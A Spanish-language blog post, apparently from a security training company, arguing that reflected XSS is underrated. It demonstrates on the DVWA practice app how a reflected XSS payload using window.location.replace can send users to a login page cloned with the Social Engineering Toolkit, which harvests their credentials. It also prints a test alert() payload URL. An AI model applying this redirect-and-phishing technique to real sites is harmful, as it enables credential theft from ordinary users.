A la hora de establecer las vulnerabilidades, las organizaciones correspondientes tienen que hacer un ejercicio importante para poder determinar el riesgo de la brecha. Las vulnerabilidades según NVD y por ende las empresas, las dividen en 3 clases: Críticas, medianas y bajas. En vulnerabilidades críticas, podemos encontrar ejecución de comandos en el servidor, revelado de contraseñas y claves privadas… En las medianas tenemos ataques CSRF, clickhijacking y aquí es donde empezamos a ver el XSS, es donde suelen situar un XSS stored, o sea, un XSS el cual siempre que accedamos a la página se ejecutará. Pero para ver los no stored, nos tenemos que ir a las vulnerabilidades bajas.
Es cierto, que el daño que podemos hacer a un servidor a través de un XSS es prácticamente nulo, aunque para los clientes de la web no es el mismo. En este post vamos a ver cómo aprovechándonos de un XSS reflejado en una web vulnerable, vamos a poder redirigir a los clientes a una página falsa y con ello quedarnos con las credenciales de los usuarios. Para ello, hemos instalado DVWA, una web vulnerable, la recomiendo para practicar todo tipo de ataques web, es muy útil y sobre todo, legal.
En este caso, vamos a utilizar el apartado “XSS reflected”, y comprobamos que efectivamente es vulnerable, si accedemos a través de la URL: http://localhost:8000/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%22Hola+%3Ac%22%29%3C%2Fscript%3E#
Nos aparece el mensaje provocado por el alert() de javascript:
Hemos inyectado en la caja de búsqueda una inyección HTML, que entre tags <script></script>, hace que podamos ejecutar código javascript en el lado del cliente. Llega el momento de la ingeniería social, en este caso, vamos a utilizar setoolkit (Social engineering toolkit), una suite de ingeniería social muy potente y poco conocida que viene por defecto en kali.
Dentro de la primera opción y en la parte de vectores de ataques web, nos permite clonar una web y pone a escuchar un servidor web en el puerto 80, con la web clonada, le vamos a decir que clone el login de dvwa.
Como vemos, S.E.T ha clonado la página de forma satisfactoria y si introducimos las credenciales nos llegarán a nuestra terminal de S.E.T:
Ya tenemos el trabajo hecho, ahora solamente hay que aprovechar el XSS reflejado para redirigir a nuestra página web falsa y que el atacante reciba las credenciales del cliente engañado.
Para ello vamos a utilizar window.location.replace(“http://nuestradireccionmalvada/“);
Al final el payload para el XSS se quedaría en: <script>window.location.replace(http://localhost/);</script>
Aquí el ejemplo:
La pregunta es, ¿Deberían los XSS estar más valorados? Opino que si, aunque en un entorno de desarrollo seguro y haciendo uso de analizadores de código estático, el numero de fallos XSS debería de ser nulo o limitado.
¿Quieres aprender más sobre ciberseguridad o vulnerabilidades? Te ofrecemos los mejores cursos de ciberseguridad, con profesores referentes en el sector para que aprendas de verdad. 100% Learning by Doing.
